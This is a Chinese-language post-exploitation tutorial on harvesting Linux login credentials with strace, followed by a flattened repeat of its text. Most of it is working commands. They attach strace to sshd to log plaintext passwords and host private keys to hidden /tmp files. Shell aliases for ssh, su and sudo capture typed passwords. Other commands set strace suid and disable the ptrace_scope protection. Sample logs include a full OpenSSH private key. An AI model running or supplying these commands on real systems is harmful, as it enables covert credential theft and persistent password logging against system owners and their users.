linux后渗透之收集登录凭证
字数 1436 2025-08-25 22:58:47

Linux后渗透之收集登录凭证技术详解

一、概述

在Linux系统渗透测试中,获取shell后,信息收集是进一步渗透的关键。其中,登录凭证的收集是信息收集的重点方向。本文将详细介绍通过调试程序(strace)跟踪进程数据来收集Linux系统登录凭证的技术方法。

二、strace工具基础

1. strace简介

strace是Linux中的调试工具,可通过附加到进程来调试正在运行的进程,记录程序执行的系统调用及参数。我们可以通过它跟踪sshd、ssh、su、sudo等进程数据来获取登录凭证。

2. 安装strace

# 能出网环境
yum install strace -y  # CentOS/RHEL
apt install strace -y  # Debian/Ubuntu

# 不能出网环境
上传对应安装包手工安装,或编译安装

3. strace使用条件

Linux Kernel 3.4+支持限制或禁用ptrace功能,通过kernel.yama.ptrace_scope设置:

  • 0: 经典ptrace权限(默认)
  • 1: 受限制的ptrace(仅允许调试子进程)
  • 2: 仅限管理员附加
  • 3: 完全禁用ptrace

查看和修改配置:

# 查看当前设置
cat /proc/sys/kernel/yama/ptrace_scope

# 修改设置(需要root)
echo 0 > /proc/sys/kernel/yama/ptrace_scope
# 或
sysctl kernel.yama.ptrace_scope=0

# 注意:设置为3后必须重启才能修改

三、strace常用参数

参数 描述
-c 统计系统调用的执行时间、次数和错误
-f 跟踪fork产生的子进程
-p pid 跟踪指定进程
-e trace=set 只跟踪指定的系统调用
-e read=set 输出从指定文件读取的数据
-e write=set 输出写入指定文件的数据
-s strsize 指定输出字符串的最大长度(默认32)
-o filename 将输出写入文件
-t 在输出中添加时间信息
-T 显示每个调用耗时

四、收集已有进程凭证

1. 获取sshd进程明文密码

步骤:

  1. 以root权限执行:
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
  1. 使用正则表达式查找用户名和密码:
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

结果示例:

[pid 2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9
[pid 2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27
[pid 2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9

2. 获取sshd进程私钥

步骤:

  1. 以root权限执行:
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)
  1. 搜索私钥:
grep 'PRIVATE KEY' /tmp/.sshd.log

结果示例:

[pid 1009] 23:17:34 read(4, "-----BEGIN OPENSSH PRIVATE KEY-----\n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\npuzYc7LCnLR8alqQAAAAlyb290QGthbGk=\n-----END OPENSSH PRIVATE KEY-----\n", 4096) = 2590

注意:抓到的私钥是服务端的host key(位于/etc/ssh/ssh_host_xxx_key),用于认证服务端身份,与用于登录的ssh key不同。

五、收集指定程序凭证

通过设置命令别名,使运行指定程序时自动strace读写系统调用。

1. 收集ssh登录凭证

步骤:

  1. 添加命令别名:
vi ~/.bashrc 或 /etc/bashrc
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
source ~/.bashrc
  1. 记录的日志示例:
936   write(4, "root@192.168.168.20's password: ", 32) = 32
936   read(4, "t", 1)                   = 1
936   read(4, "o", 1)                   = 1
936   read(4, "o", 1)                   = 1
936   read(4, "r", 1)                   = 1
936   read(4, "\n", 1)                  = 1
936   write(4, "\n", 1)                 = 1
  1. 使用正则定位密码:
grep -E '.+@.+\bpassword' /tmp/.ssh-21.log

2. 收集su/sudo凭证

步骤:

  1. 给strace添加suid权限:
chmod +s /usr/bin/strace
  1. 添加命令别名:
vi ~/.bashrc 或 /etc/bashrc
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 32 sudo'
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 32 su'
source ~/.bashrc
  1. 记录的日志示例:
write(6, "[sudo] password for kali: ", 26) = 26
read(6, "i", 1)                         = 1
read(6, "l", 1)                         = 1
read(6, "a", 1)                         = 1
read(6, "k", 1)                         = 1
read(6, "\n", 1)                        = 1

六、总结

  1. /proc/sys/kernel/yama/ptrace_scope不为3时,可通过strace记录程序系统调用来获取登录凭证
  2. 技术要点:
    • 确保ptrace功能可用(kernel.yama.ptrace_scope=0)
    • 正确使用strace参数跟踪读写操作
    • 针对不同程序(sshd、ssh、su、sudo)采用不同跟踪策略
    • 掌握日志分析方法,使用正则提取关键信息

七、参考链接

  1. https://klionsec.github.io/2016/09/22/strace/
  2. https://blog.netspi.com/using-strace-to-monitor-ssh-connections-on-linux/
  3. https://www.kernel.org/doc/Documentation/security/Yama.txt
Linux后渗透之收集登录凭证技术详解 一、概述 在Linux系统渗透测试中,获取shell后,信息收集是进一步渗透的关键。其中,登录凭证的收集是信息收集的重点方向。本文将详细介绍通过调试程序(strace)跟踪进程数据来收集Linux系统登录凭证的技术方法。 二、strace工具基础 1. strace简介 strace是Linux中的调试工具,可通过附加到进程来调试正在运行的进程,记录程序执行的系统调用及参数。我们可以通过它跟踪sshd、ssh、su、sudo等进程数据来获取登录凭证。 2. 安装strace 3. strace使用条件 Linux Kernel 3.4+支持限制或禁用ptrace功能,通过 kernel.yama.ptrace_scope 设置: 0 : 经典ptrace权限(默认) 1 : 受限制的ptrace(仅允许调试子进程) 2 : 仅限管理员附加 3 : 完全禁用ptrace 查看和修改配置: 三、strace常用参数 | 参数 | 描述 | |------|------| | -c | 统计系统调用的执行时间、次数和错误 | | -f | 跟踪fork产生的子进程 | | -p pid | 跟踪指定进程 | | -e trace=set | 只跟踪指定的系统调用 | | -e read=set | 输出从指定文件读取的数据 | | -e write=set | 输出写入指定文件的数据 | | -s strsize | 指定输出字符串的最大长度(默认32) | | -o filename | 将输出写入文件 | | -t | 在输出中添加时间信息 | | -T | 显示每个调用耗时 | 四、收集已有进程凭证 1. 获取sshd进程明文密码 步骤: 以root权限执行: 使用正则表达式查找用户名和密码: 结果示例: 2. 获取sshd进程私钥 步骤: 以root权限执行: 搜索私钥: 结果示例: 注意 :抓到的私钥是服务端的host key(位于/etc/ssh/ssh_ host_ xxx_ key),用于认证服务端身份,与用于登录的ssh key不同。 五、收集指定程序凭证 通过设置命令别名,使运行指定程序时自动strace读写系统调用。 1. 收集ssh登录凭证 步骤: 添加命令别名: 记录的日志示例: 使用正则定位密码: 2. 收集su/sudo凭证 步骤: 给strace添加suid权限: 添加命令别名: 记录的日志示例: 六、总结 当 /proc/sys/kernel/yama/ptrace_scope 不为3时,可通过strace记录程序系统调用来获取登录凭证 技术要点: 确保ptrace功能可用(kernel.yama.ptrace_ scope=0) 正确使用strace参数跟踪读写操作 针对不同程序(sshd、ssh、su、sudo)采用不同跟踪策略 掌握日志分析方法,使用正则提取关键信息 七、参考链接 https://klionsec.github.io/2016/09/22/strace/ https://blog.netspi.com/using-strace-to-monitor-ssh-connections-on-linux/ https://www.kernel.org/doc/Documentation/security/Yama.txt